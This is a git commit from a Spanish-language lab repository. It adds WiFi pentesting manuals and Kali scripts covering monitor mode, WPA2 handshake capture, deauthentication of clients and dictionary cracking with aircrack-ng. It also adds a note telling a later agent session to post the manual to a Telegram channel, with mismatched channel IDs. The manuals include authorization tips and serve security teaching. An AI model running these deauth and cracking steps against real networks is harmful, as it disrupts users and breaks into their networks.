jjminguez/biblioteca_conocimiento_laboratorio
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

08-ago: [discovery] Lecciones USB Linux ext4 + Realtek 8812AU + scripts kali-todo

Browse Source
This commit is contained in:
minguezsanzjuanjose
2026-08-08 17:44:16 +01:00
parent 35264ac8e5
commit cec31d9bc6
11 changed files with 1636 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
.obsidian/graph.json vendored
View File

@@ -17,6 +17,6 @@
"repelStrength": 10,
"linkStrength": 1,
"linkDistance": 250,
"scale": 1,
"scale": 1.965556045656671,
"close": false
}

15
.obsidian/workspace.json vendored
View File

@@ -11,10 +11,14 @@
"id": "72506070fed1a695",
"type": "leaf",
"state": {
"type": "graph",
"state": {},
"icon": "lucide-git-fork",
"title": "Vista gráfica"
"type": "markdown",
"state": {
"file": "docs/lecciones_aprendidas_vigilancia.md",
"mode": "source",
"source": false
},
"icon": "lucide-file",
"title": "lecciones_aprendidas_vigilancia"
}
}
]
@@ -183,6 +187,9 @@
},
"active": "72506070fed1a695",
"lastOpenFiles": [
"docs/pending_telegram_send.md",
"docs/manual_pentesting_alpha_awus036ach.md",
"vigilancia/barrido_nocturno.py",
"vigilancia/__pycache__/panorama.cpython-313.pyc",
"vigilancia/panorama.py",
"vigilancia/__pycache__/limpiar.cpython-313.pyc",

316
docs/MANUAL_PENTEST.txt Normal file
View File

@@ -0,0 +1,316 @@
=============================================
MANUAL PENTESTING WiFi - ALPHA AWUS036ACH
=============================================
Chipset: RTL8812AU | Dual-band 2.4/5GHz
Para laboratorio universitario con Live Boot USB Kali Linux
CONTENIDO:
PARTE 1: Instalar driver en Windows
PARTE 2: Crear USB bootable de Kali Linux
PARTE 3: Arrancar Kali desde USB
PARTE 4: Activar modo monitor
PARTE 5: Escanear redes WiFi
PARTE 6: Capturar handshake de una red
PARTE 7: Ataque de deauth (forzar handshake)
PARTE 8: Crackear la contraseña
PARTE 9: Persistencia del USB
PARTE 10: Resumen de comandos rapidos
PARTE 11: Tips laboratorio universitario
=============================================
PARTE 1: INSTALAR DRIVER EN WINDOWS
=============================================
Paso 1: Descargar driver
Ve a https://docs.alfa.com.tw/Product/AWUS036ACH/
Descarga el driver Windows (RTL8812AU).
Paso 2: Instalar
1. Desconecta la antena
2. Ejecuta el instalador como administrador
3. Reinicia el PC
4. Conecta la antena despues de reiniciar
Paso 3: Verificar
Abre PowerShell y ejecuta:
Get-NetAdapter
Deberias ver "Realtek 8812AU" con estado "Up".
En Windows solo puedes escanear redes con Acrylic WiFi Free.
Para pentesting REAL necesitas Kali Linux (Parte 2).
=============================================
PARTE 2: CREAR USB BOOTABLE DE KALI LINUX
=============================================
Paso 1: Descargar Kali
Ve a https://www.kali.org/get-kali/
Descarga "Kali Linux 2026.x Installer" (ISO, ~4GB)
Paso 2: Grabar ISO en USB con Rufus
Necesitas: USB de 16GB minimo + Rufus
1. Descarga Rufus desde https://rufus.ie/
2. Inserta el USB
3. Abre Rufus
4. Device = tu USB
5. Boot selection = selecciona el ISO de Kali
6. Partition scheme = MBR
7. Target system = BIOS o UEFI
8. Persistent storage -> mueve la barra a 8-12 GB
>>> ESTO ES LO QUE CREA LA PARTICION PERSISTENTE <<<
Si no la mueves, TODO se pierde al apagar
9. Haz clic en START
10. Selecciona "Write in DD mode" cuando pregunte
11. Espera a que termine (~10-15 min)
=============================================
PARTE 3: ARRANCAR KALI DESDE USB
=============================================
Paso 1: Configurar BIOS para arrancar desde USB
1. Reinicia el PC
2. Pulsa F2, F12 o DEL al encender (depende del PC)
3. En BIOS ve a "Boot" o "Boot Order"
4. Pon "USB-HDD" o "Removable Device" como primera opcion
5. Guarda y sal (F10 normalmente)
Paso 2: Arrancar Kali
1. En el menu de GRUB selecciona "Live system (amd64)"
2. Usuario: kali / Contrasena: kali
Paso 3: Conectar la antena Alpha
1. Conecta la Alpha por USB DESPUES de arrancar Kali
2. Abre terminal y verifica:
lsusb
Debe aparecer: Realtek Semiconductor Corp. RTL8812AU
3. Verifica la interfaz de red:
iwconfig
Debe aparecer: wlan0 o wlan1
Si NO aparece wlan0, instala el driver:
sudo apt update
sudo apt install -y realtek-rtl88xxau-dkms
sudo reboot
=============================================
PARTE 4: ACTIVAR MODO MONITOR
=============================================
El modo monitor permite escuchar TODO el tráfico WiFi
sin estar conectado a ninguna red. Es la base del pentesting.
# 1. Matar procesos que interfieran
sudo airmon-ng check kill
# 2. Activar modo monitor
sudo airmon-ng start wlan0
# 3. Verificar que esta en modo monitor
iwconfig wlan0mon
# Debe decir: "Mode: Monitor"
Si en vez de wlan0mon aparece wlan0 en modo monitor,
usa wlan0 en todos los comandos siguientes.
SALIR del modo monitor cuando termines:
sudo airmon-ng stop wlan0mon
=============================================
PARTE 5: ESCANEAR REDES WiFi
=============================================
Este es el paso mas importante. Aqui ves TODAS las redes
a tu alrededor.
sudo airodump-ng wlan0mon
Veras una tabla con estas columnas:
BSSID = MAC del punto de acceso (router)
PWR = Potencia de señal (-30=excelente, -90=malo)
Beacons = Paquetes beacon recibidos
#Data = Paquetes de datos capturados
CH = Canal (1-13 en 2.4GHz, 36-165 en 5GHz)
ENC = Cifrado (WPA2, WPA3, OPN=abierto)
ESSID = Nombre de la red WiFi
PARA PARAR: pulsa Ctrl+C
CONSEJOS para elegir red objetivo:
- PWR entre -30 y -60 = buena señal (lo ideal)
- #Data alto = hay trafico (clientes activos)
- ENC = WPA2 (es el mas comun, se puede crackear)
- Evita OPN (abierto) y WPA3 (dificil)
=============================================
PARTE 6: CAPTURAR HANDSHAKE DE UNA RED
=============================================
Una vez que has elegido tu red objetivo (por ejemplo
"CampusLab" en canal 6 con BSSID AA:BB:CC:DD:EE:FF),
abre UNA NUEVA terminal (no cierres la de escaneo)
y ejecuta:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
REEMPLAZA:
- "6" por el canal de tu red objetivo
- "AA:BB:CC:DD:EE:FF" por el BSSID de tu red
- "captura" es el nombre del archivo donde guardara datos
Este comando:
1. Escucha SOLO esa red en su canal
2. Guarda todo en archivos: captura-01.cap, captura-01.csv
3. Espera a que aparezca un "WPA handshake"
El WPA handshake aparece arriba a la derecha:
WPA handshake: AA:BB:CC:DD:EE:FF
ESTO ES LO QUE NECESITAS para crackear la contrasena.
Si no aparece el handshake, necesitas un cliente
conectandose. Sigue en la Parte 7 para forzarlo.
=============================================
PARTE 7: ATAQUE DE DEAUTH (FORZAR HANDSHAKE)
=============================================
Si el handshake no aparece solo, puedes FORZAR a un
cliente a reconectarse. Esto le desconecta momentaneamente
y al reconectarse se captura el handshake.
ABRE UNA TERCERA terminal y ejecuta:
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c XX:XX:XX:XX:XX:XX wlan0mon
REEMPLAZA:
- "5" = numero de paquetes de deauth (5-10 suele bastar)
- "AA:BB:CC:DD:EE:FF" = BSSID del router (igual que antes)
- "XX:XX:XX:XX:XX:XX" = MAC del cliente conectado
Para ver clientes conectados a tu red, mira la terminal
de la Parte 6. Bajo la columna "STATION" veras las MAC
de los clientes conectados.
Si no sabes la MAC del cliente, puedes omitir -c:
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Esto envia deauth a TODOS los clientes de esa red.
VERIFICA que aparezca "WPA handshake" en la terminal
de la Parte 6 despues del ataque.
=============================================
PARTE 8: CRACKEAR LA CONTRASEÑA
=============================================
Una vez tengas el WPA handshake capturado:
Paso 1: Descomprimir el diccionario
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Paso 2: Ejecutar aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
Sustituye "captura-01.cap" por el nombre de tu archivo.
Esto prueba TODAS las contrasenas del diccionario contra
el handshake capturado. Velocidad: ~1000-5000 claves/segundo.
Si la contrasena esta en el diccionario veras:
KEY FOUND! [ la_contrasena ]
Si no esta en el diccionario:
- Prueba con otro diccionario mas grande
- O usa fuerza bruta (mucho mas lento):
aircrack-ng -a 2 -b AA:BB:CC:DD:EE:FF -w /usr/share/wordlists/rockyou.txt captura-01.cap
=============================================
PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
=============================================
Si usas Kali Live, al reiniciar TODO se pierde
a menos que tengas persistencia.
Opcion A - Rufus Persistent Partition (ya lo hiciste en Parte 2)
Si activaste "Persistent storage" en Rufus, los archivos en
/home/kali se guardan automaticamente entre reinicios.
Opcion B - Montar particion persistente manualmente:
sudo mkdir -p /mnt/persistence
sudo mount /dev/sdb3 /mnt/persistence
cp captura-01.cap /mnt/persistence/
echo "RED: CampusLab | PASS: la_contrasena" > /mnt/persistence/wifi_cracked.txt
sudo umount /mnt/persistence
Opcion C - Segundo USB o red:
cp captura-01.cap /media/kali/MI_USB/
# O subir a un servidor:
scp captura-01.cap user@ip_servidor:/ruta/
=============================================
PARTE 10: RESUMEN DE COMANDOS RAPIDOS
=============================================
Ver antena: lsusb && iwconfig
Matar interferencias: sudo airmon-ng check kill
Activar monitor: sudo airmon-ng start wlan0
Escanear redes: sudo airodump-ng wlan0mon
Capturar 1 red: sudo airodump-ng -c CH --bssid MAC -w file wlan0mon
Deauth 1 cliente: sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon
Crackear: aircrack-ng -w rockyou.txt file.cap
Salir monitor: sudo airmon-ng stop wlan0mon
=============================================
PARTE 11: TIPS PARA EL LABORATORIO UNIVERSITARIO
=============================================
1. Empieza solo con escaneo pasivo (airodump-ng) - aprende
a leer las redes antes de hacer nada activo.
2. Documenta que redes hay, en que canales, que cifrado usan.
3. Solo testea redes que tengas autorizacion explicita -
pide al profesor/encargado por escrito.
4. Practica primero con tu propio router si puedes.
5. El rockyou.txt viene en Kali en /usr/share/wordlists/
(descomprimir con sudo gunzip).
6. No hagas deauth en redes publicas reales - es ilegal
sin autorizacion.
7. Si la senal es mala (PWR < -70), acercate al router
o usa la antena con el reflector parabolico.
=============================================
LEER ESTE MANUAL DESDE KALI LIVE
=============================================
Si copiaste este archivo al USB de Kali, puedes leerlo
desde la terminal con:
sudo mount /dev/sdb1 /mnt
cat /mnt/MANUAL_PENTEST.txt
O para verlo pagina por pagina:
cat /mnt/MANUAL_PENTEST.txt | less
Para copiarlo al escritorio de Kali:
cp /mnt/MANUAL_PENTEST.txt ~/Desktop/

148
docs/arranque_rapido.sh Normal file
View File

@@ -0,0 +1,148 @@
#!/bin/bash
#=============================================
# ARRANQUE RAPIDO - KALI LIVE + ALPHA AWUS036ACH
#=============================================
# Ejecutar con: sudo bash arranque_rapido.sh
# Guardar en el USB y ejecutar al arrancar Kali Live
#=============================================
set -e
echo ""
echo "============================================"
echo " ARRANQUE RAPIDO - PENTESTING WiFi"
echo " Alpha AWUS036ACH (RTL8812AU)"
echo "============================================"
echo ""
# Colores
ROJO='\033[0;31m'
VERDE='\033[0;36m'
AMARILLO='\033[1;33m'
SIN_COLOR='\033[0m'
# Paso 0: Verificar que somos root
if [ "$EUID" -ne 0 ]; then
echo -e "${ROJO}[ERROR] Ejecuta con sudo: sudo bash arranque_rapido.sh${SIN_COLOR}"
exit 1
fi
# Paso 1: Verificar conexion a internet
echo -e "${AMARILLO}[1/6] Verificando internet...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
echo -e "${VERDE} OK - Internet conectado${SIN_COLOR}"
else
echo -e "${ROJO} SIN INTERNET - conecta WiFi o cable antes de continuar${SIN_COLOR}"
echo " Si no tienes internet, este script no puede instalar paquetes."
echo " Pulsa Ctrl+C para salir o Enter para intentar sin internet..."
read -s
fi
# Paso 2: Actualizar repositorios
echo ""
echo -e "${AMARILLO}[2/6] Actualizando repositorios (apt update)...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
apt update -qq
echo -e "${VERDE} OK - Repositorios actualizados${SIN_COLOR}"
else
echo -e "${ROJO} SALTADO - sin internet${SIN_COLOR}"
fi
# Paso 3: Instalar paquetes necesarios
echo ""
echo -e "${AMARILLO}[3/6] Instalando paquetes necesarios...${SIN_COLOR}"
if ping -c 1 google.com &> /dev/null; then
apt install -y -qq aircrack-ng realtek-rtl88xxau-dkms wireless-tools iw wpasupplicant 2>/dev/null
echo -e "${VERDE} OK - Paquetes instalados${SIN_COLOR}"
else
echo -e "${ROJO} SALTADO - sin internet${SIN_COLOR}"
fi
# Paso 4: Verificar la antena
echo ""
echo -e "${AMARILLO}[4/6] Verificando antena Alpha...${SIN_COLOR}"
if lsusb | grep -qi "realtek\|8812\|rtl88"; then
echo -e "${VERDE} OK - Alpha AWUS036ACH detectada${SIN_COLOR}"
else
echo -e "${ROJO} NO DETECTADA - conecta la antena por USB${SIN_COLOR}"
echo " Si ya esta conectada, prueba: sudo reboot"
fi
# Paso 5: Detectar interfaz WiFi
echo ""
echo -e "${AMARILLO}[5/6] Detectando interfaz WiFi...${SIN_COLOR}"
WLAN=""
for iface in wlan0 wlan1 wlan2; do
if ip link show "$iface" &> /dev/null; then
WLAN="$iface"
break
fi
done
if [ -n "$WLAN" ]; then
echo -e "${VERDE} OK - Interfaz encontrada: $WLAN${SIN_COLOR}"
else
echo -e "${ROJO} NO SE ENCONTRO interfaz wlan${SIN_COLOR}"
echo " Ejecuta manualmente: iwconfig"
echo " Si no aparece nada, reinicia con la antena conectada"
fi
# Paso 6: Activar modo monitor
echo ""
echo -e "${AMARILLO}[6/6] Activando modo monitor...${SIN_COLOR}"
if [ -n "$WLAN" ]; then
# Matar procesos que interfieran
airmon-ng check kill &> /dev/null
# Activar modo monitor
airmon-ng start "$WLAN" &> /dev/null
# Verificar
if iwconfig wlan0mon 2>/dev/null | grep -q "Monitor"; then
echo -e "${VERDE} OK - Modo monitor activo en wlan0mon${SIN_COLOR}"
MONIF="wlan0mon"
elif iwconfig "${WLAN}" 2>/dev/null | grep -q "Monitor"; then
echo -e "${VERDE} OK - Modo monitor activo en $WLAN${SIN_COLOR}"
MONIF="$WLAN"
else
echo -e "${AMARILLO} No se pudo verificar. Comprueba manualmente con: iwconfig${SIN_COLOR}"
MONIF="wlan0mon"
fi
else
echo -e "${ROJO} SALTADO - sin interfaz WiFi${SIN_COLOR}"
MONIF=""
fi
# Resumen
echo ""
echo "============================================"
echo " RESUMEN"
echo "============================================"
if [ -n "$MONIF" ]; then
echo -e " Modo monitor: ${VERDE}ACTIVO${SIN_COLOR} ($MONIF)"
echo ""
echo " SIGUIENTE PASO - Escanear redes:"
echo " sudo airodump-ng $MONIF"
echo ""
echo " Cuando veas tu red objetivo, captura el handshake:"
echo " sudo airodump-ng -c CANAL --bssid MAC -w captura $MONIF"
echo ""
echo " Para forzar handshake (deauth):"
echo " sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI $MONIF"
echo ""
echo " Para crackear:"
echo " aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap"
else
echo -e " Modo monitor: ${ROJO}NO ACTIVADO${SIN_COLOR}"
echo ""
echo " Ejecuta manualmente:"
echo " sudo airmon-ng check kill"
echo " sudo airmon-ng start wlan0"
echo " iwconfig wlan0mon"
fi
echo ""
echo " SALIR del modo monitor cuando termines:"
echo " sudo airmon-ng stop wlan0mon"
echo "============================================"
echo ""

305
docs/manual_pentesting_alpha_awus036ach.md Normal file
View File

@@ -0,0 +1,305 @@
# MANUAL PENTESTING WiFi — Alpha AWUS036ACH
**Chipset:** RTL8812AU | Dual-band 2.4/5GHz
**Entorno:** Laboratorio universitario con Live Boot USB Kali Linux
---
## PARTE 1: INSTALAR DRIVER EN WINDOWS
### Paso 1: Descargar driver
Ve a https://docs.alfa.com.tw/Product/AWUS036ACH/
Descarga el driver Windows (RTL8812AU).
### Paso 2: Instalar
1. Desconecta la antena
2. Ejecuta el instalador como administrador
3. Reinicia el PC
4. Conecta la antena después de reiniciar
### Paso 3: Verificar
Abre PowerShell y ejecuta:
```
Get-NetAdapter
```
Deberías ver la interfaz "Realtek 8812AU" con estado "Up".
> En Windows solo puedes escanar redes con Acrylic WiFi Free.
> Para pentesting REAL necesitas Kali Linux (Parte 2).
---
## PARTE 2: CREAR USB BOOTABLE DE KALI LINUX (CON PERSISTENCIA)
### Paso 1: Descargar Kali
Ve a https://www.kali.org/get-kali/
Descarga "Kali Linux 2026.x Installer" (ISO, ~4GB)
### Paso 2: Grabar ISO en USB con Rufus
**Necesitas:** USB de 16GB mínimo + Rufus
1. Descarga Rufus desde https://rufus.ie/
2. Inserta el USB
3. Abre Rufus
4. **Device** = tu USB
5. **Boot selection** = selecciona el ISO de Kali
6. **Partition scheme** = MBR
7. **Target system** = BIOS o UEFI
8. **Persistent storage** → mueve la barra a **8-12 GB**
⚠️ ESTO ES LO QUE CREA LA PARTICIÓN PERSISTENTE
Si no la mueves, TODO se pierde al apagar
9. Haz clic en **START**
10. Selecciona **"Write in DD mode"** cuando pregunte
11. Espera a que termine (~10-15 min)
---
## PARTE 3: ARRANCAR KALI DESDE USB
### Paso 1: Configurar BIOS para arrancar desde USB
1. Reinicia el PC
2. Pulsa **F2, F12 o DEL** al encender (depende del PC)
3. En BIOS ve a "Boot" o "Boot Order"
4. Pon **"USB-HDD"** o **"Removable Device"** como primera opción
5. Guarda y sal (**F10** normalmente)
### Paso 2: Arrancar Kali
1. En el menú de GRUB selecciona **"Live system (amd64)"**
2. Usuario: `kali` / Contraseña: `kali`
### Paso 3: Conectar la antena Alpha
1. Conecta la Alpha por USB **DESPUÉS** de arrancar Kali
2. Abre terminal y verifica:
```bash
lsusb
# Debe aparecer: Realtek Semiconductor Corp. RTL8812AU
```
```bash
iwconfig
# Debe aparecer: wlan0 o wlan1
```
**Si NO aparece wlan0**, instala el driver:
```bash
sudo apt update
sudo apt install -y realtek-rtl88xxau-dkms
sudo reboot
```
---
## PARTE 4: ACTIVAR MODO MONITOR
El modo monitor permite escuchar TODO el tráfico WiFi sin estar conectado a ninguna red. Es la base del pentesting.
```bash
# 1. Matar procesos que interfieran
sudo airmon-ng check kill
# 2. Activar modo monitor
sudo airmon-ng start wlan0
# 3. Verificar que está en modo monitor
iwconfig wlan0mon
# Debe decir: "Mode: Monitor"
```
> Si en vez de `wlan0mon` aparece `wlan0` en modo monitor,
> usa `wlan0` en todos los comandos siguientes.
**SALIR del modo monitor cuando termines:**
```bash
sudo airmon-ng stop wlan0mon
```
---
## PARTE 5: ESCANEAR REDES WiFi
Este es el paso más importante. Aquí ves TODAS las redes a tu alrededor.
```bash
sudo airodump-ng wlan0mon
```
### Columnas de la tabla:
| Columna | Significado |
|---------|-------------|
| **BSSID** | MAC del punto de acceso (router) |
| **PWR** | Potencia de señal (-30=excelente, -90=malo) |
| **Beacons** | Paquetes beacon recibidos |
| **#Data** | Paquetes de datos capturados |
| **CH** | Canal (1-13 en 2.4GHz, 36-165 en 5GHz) |
| **ENC** | Cifrado (WPA2, WPA3, OPN=abierto) |
| **ESSID** | Nombre de la red WiFi |
**PARA PARAR:** pulsa `Ctrl+C`
### Consejos para elegir red objetivo:
- **PWR entre -30 y -60** = buena señal (lo ideal)
- **#Data alto** = hay tráfico (clientes activos)
- **ENC = WPA2** (el más común, se puede crackear)
- Evita OPN (abierto) y WPA3 (muy difícil)
---
## PARTE 6: CAPTURAR HANDSHAKE DE UNA RED
Una vez elegida tu red objetivo (por ejemplo "CampusLab" canal 6, BSSID AA:BB:CC:DD:EE:FF):
**Abre UNA NUEVA terminal** (no cierres la de escaneo) y ejecuta:
```bash
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
```
**REEMPLAZA:**
- `6` → el canal de tu red objetivo
- `AA:BB:CC:DD:EE:FF` → el BSSID de tu red
- `captura` → nombre del archivo de salida
### Esto hace:
1. Escucha SOLO esa red en su canal
2. Guarda todo en archivos: `captura-01.cap`, `captura-01.csv`
3. Espera a que aparezca un **"WPA handshake"**
El WPA handshake aparece arriba a la derecha:
```
WPA handshake: AA:BB:CC:DD:EE:FF
```
**ESTO ES LO QUE NECESITAS** para crackear la contraseña.
Si no aparece el handshake, necesitas un cliente conectándose → Parte 7.
---
## PARTE 7: ATAQUE DE DEAUTH (FORZAR HANDSHAKE)
Si el handshake no aparece solo, puedes **FORZAR** a un cliente a reconectarse. Le desconecta momentáneamente y al reconectarse se captura el handshake.
**ABRE UNA TERCERA terminal** y ejecuta:
```bash
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c XX:XX:XX:XX:XX:XX wlan0mon
```
**REEMPLAZA:**
- `5` → número de paquetes de deauth (5-10 suele bastar)
- `AA:BB:CC:DD:EE:FF` → BSSID del router (igual que antes)
- `XX:XX:XX:XX:XX:XX` → MAC del cliente conectado
### Para ver clientes conectados:
Mira la terminal de la Parte 6. Bajo la columna **"STATION"** verás las MAC de los clientes.
Si no sabes la MAC del cliente, puedes omitir `-c`:
```bash
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
```
Esto envía deauth a **TODOS** los clientes de esa red.
**VERIFICA** que aparezca `"WPA handshake"` en la terminal de la Parte 6 después del ataque.
---
## PARTE 8: CRACKEAR LA CONTRASEÑA
Una vez tengas el WPA handshake capturado:
### Paso 1: Descomprimir el diccionario
```bash
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```
### Paso 2: Ejecutar aircrack-ng
```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
```
Sustituye `captura-01.cap` por el nombre de tu archivo.
Esto prueba **TODAS** las contraseñas del diccionario contra el handshake capturado.
Velocidad: ~1000-5000 claves/segundo.
### Si la contraseña está en el diccionario:
```
KEY FOUND! [ la_contraseña ]
```
### Si no está en el diccionario:
- Prueba con otro diccionario más grande
- O usa fuerza bruta (mucho más lento):
```bash
aircrack-ng -a 2 -b AA:BB:CC:DD:EE:FF -w /usr/share/wordlists/rockyou.txt captura-01.cap
```
---
## PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
Si usas Kali Live, al reiniciar **TODO se pierde** a menos que tengas persistencia.
### Opción A — Rufus Persistent Partition (ya lo hiciste en Parte 2)
Si activaste "Persistent storage" en Rufus, los archivos en `/home/kali` se guardan automáticamente entre reinicios.
### Opción B — Montar la partición persistente manualmente
```bash
# Identificar la partición
lsblk
# Busca la partición más grande del USB (sdb3 normalmente)
# Montar
sudo mkdir -p /mnt/persistence
sudo mount /dev/sdb3 /mnt/persistence
# Copiar resultados
cp captura-01.cap /mnt/persistence/
echo "RED: CampusLab | PASS: la_contraseña" > /mnt/persistence/wifi_cracked.txt
# Desmontar
sudo umount /mnt/persistence
```
### Opción C — Segundo USB o red
```bash
# A tu propio USB
cp captura-01.cap /media/kali/MI_USB/
# O subir a un servidor
scp captura-01.cap user@ip_servidor:/ruta/
```
---
## PARTE 10: GUARDAR LA CONTRASEÑA
```bash
echo "RED: CampusLab | PASS: la_contraseña" >> ~/wifi_cracked.txt
cat ~/wifi_cracked.txt
```
---
## PARTE 11: RESUMEN DE COMANDOS RÁPIDOS
| Paso | Comando |
|------|---------|
| Ver antena | `lsusb && iwconfig` |
| Matar interferencias | `sudo airmon-ng check kill` |
| Activar monitor | `sudo airmon-ng start wlan0` |
| Escanear redes | `sudo airodump-ng wlan0mon` |
| Capturar 1 red | `sudo airodump-ng -c CH --bssid MAC -w file wlan0mon` |
| Deauth 1 cliente | `sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon` |
| Crackear | `aircrack-ng -w rockyou.txt file.cap` |
| Salir monitor | `sudo airmon-ng stop wlan0mon` |
---
## PARTE 12: TIPS PARA EL LABORATORIO UNIVERSITARIO
1. **Empieza solo con escaneo pasivo** (`airodump-ng`) — aprende a leer las redes antes de hacer nada activo
2. **Documenta** qué redes hay, en qué canales, qué cifrado usan
3. **Solo testea redes que tengas autorización explícita** — pide al profesor/encargado por escrito
4. **Practica primero con tu propio router** si puedes
5. El `rockyou.txt` viene en Kali en `/usr/share/wordlists/` (descomprimir con `sudo gunzip`)
6. **No hagas deauth en redes públicas reales** — es ilegal sin autorización
7. Si la señal es mala (PWR < -70), acércate al router o usa la antena con el reflector parabólico

85
docs/pending_telegram_send.md Normal file
View File

@@ -0,0 +1,85 @@
# PENDIENTE: Envío manual pentesting Alpha AWUS036ACH al canal IDD Telegram
**Estado:** 4 mensajes pendientes de envío (Partes 8-11)
**Canal IDD:** -1003967773087
**Razón del fallo:** Timeout MCP Telegram (servidor caído/sobrecargado)
**Fecha:** 2026-08-08
## Instrucciones para la próxima sesión
Al iniciar, enviar estos 4 mensajes AL CANAL IDD (`-10033967773087`) en orden.
Usar `telegram_send_message` con `peer: "-1003967773087"`.
**IMPORTANTE:** El manual COMPLETO (Partes 1-7 + 8-11) ya está guardado en:
`docs/manual_pentesting_alpha_awus036ach.md`
Si el MCP Telegram sigue sin funcionar, enviar el contenido del fichero manual como 1 solo mensaje o copiarlo al portapapeles para que el usuario lo pegue manualmente.
---
## MENSAJE 1 - PARTE 8
PARTE 8: CRACKEAR LA CONTRASEÑA
Descomprime el diccionario:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Crackea:
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
Si esta en el diccionario veras:
KEY FOUND! [ la_contraseña ]
Guarda la contraseña:
echo "RED: CampusLab | PASS: la_contraseña" >> ~/wifi_cracked.txt
---
## MENSAJE 2 - PARTE 9
PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
Si usas Kali Live, al reiniciar TODO se pierde.
Opcion A - Rufus Persistent Partition (ya lo hiciste en Parte 2)
Si activaste Persistent storage en Rufus, los archivos en
/home/kali se guardan automaticamente.
Opcion B - Montar particion persistente:
sudo mkdir -p /mnt/persistence
sudo mount /dev/sdb3 /mnt/persistence
cp captura-01.cap /mnt/persistence/
echo "RED: CampusLab | PASS: la_contraseña" > /mnt/persistence/wifi_cracked.txt
sudo umount /mnt/persistence
Opcion C - Segundo USB o red:
cp captura-01.cap /media/kali/MI_USB/
---
## MENSAJE 3 - PARTE 10
PARTE 10: RESUMEN DE COMANDOS RAPIDOS
Ver antena: lsusb && iwconfig
Matar interfer.: sudo airmon-ng check kill
Activar monitor: sudo airmon-ng start wlan0
Escanear redes: sudo airodump-ng wlan0mon
Capturar 1 red: sudo airodump-ng -c CH --bssid MAC -w file wlan0mon
Deauth: sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon
Crackear: aircrack-ng -w rockyou.txt file.cap
Salir monitor: sudo airmon-ng stop wlan0mon
---
## MENSAJE 4 - PARTE 11
PARTE 11: TIPS PARA EL LABORATORIO
1. Empieza con escaneo pasivo (airodump-ng)
2. Documenta: redes, canales, cifrado
3. Solo testea redes con autorizacion escrita
4. Practica primero con tu propio router
5. rockyou.txt en /usr/share/wordlists/
6. No hagas deauth en redes publicas reales
7. Senal mala? Acercate al router o usa reflector

59
scripts/kali-driver-8812au.sh Normal file
View File

@@ -0,0 +1,59 @@
#!/bin/bash
# =============================================================================
# Script rápido: Solo driver Realtek 8812AU para Kali Linux
# Ejecutar como root desde el USB live
# =============================================================================
set -e
echo "=== REALTEK 8812AU DRIVER INSTALL ==="
echo ""
# Verificar que se ejecuta como root
if [ "$EUID" -ne 0 ]; then
echo "Ejecuta como root: sudo bash $0"
exit 1
fi
# Instalar dependencias
echo "[1/4] Instalando dependencias..."
apt update -qq
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential
# Clonar driver
echo "[2/4] Descargando driver..."
DRIVER_DIR="/opt/rtl8812au"
if [ -d "$DRIVER_DIR" ]; then
echo " Driver ya existe, actualizando..."
cd "$DRIVER_DIR"
git pull
else
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
cd "$DRIVER_DIR"
fi
# Compilar
echo "[3/4] Compilando..."
make clean
make
# Instalar
echo "[4/4] Instalando..."
make install
# Cargar módulo
echo ""
echo "Cargando módulo..."
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || echo "Módulo no se cargó (reiniciar para aplicar)"
# Verificar
echo ""
if ip link show | grep -q wl; then
IFACE=$(ip link show | grep wl | awk -F: '{print $2}' | tr -d ' ' | head -1)
echo "✓ WiFi detectado: $IFACE"
echo " Para modo monitor: airmon-ng start $IFACE"
else
echo "⚠ WiFi no detectado aún. Reinicia el USB."
fi
echo ""
echo "¡Driver instalado!"

84
scripts/kali-persistence.sh Normal file
View File

@@ -0,0 +1,84 @@
#!/bin/bash
# =============================================================================
# Script rápido: Solo persistencia para Kali Linux USB
# Ejecutar como root desde el USB live
# =============================================================================
set -e
echo "=== KALI PERSISTENCE SETUP ==="
echo ""
# Detectar USB
echo "Detectando USB..."
USB_DEVICE=""
for dev in /dev/sd{b,c,d,e}; do
if [ -b "$dev" ]; then
SIZE=$(lsblk -dn -o SIZE "$dev" 2>/dev/null | tr -d ' ')
echo " $dev — $SIZE"
USB_DEVICE="$dev"
fi
done
if [ -z "$USB_DEVICE" ]; then
echo "ERROR: No se encontró USB"
exit 1
fi
echo ""
echo "USB: $USB_DEVICE"
echo ""
echo "Opciones:"
echo " 1) Crear partición persistence con fdisk (terminal)"
echo " 2) Abrir GParted (gráfico)"
echo " 3) Ya tengo la partición, solo montar y configurar"
echo ""
read -p "Elige [1/2/3]: " OPT
case $OPT in
1)
echo ""
echo "Iniciando fdisk en $USB_DEVICE"
echo "Instrucciones:"
echo " - 'd' → borrar última partición"
echo " - 'n' → crear nueva (más pequeña)"
echo " - 'n' → crear partición persistence con espacio restante"
echo " - 't' → cambiar tipo a Linux (83)"
echo " - 'w' → guardar"
echo ""
fdisk "$USB_DEVICE"
sleep 2
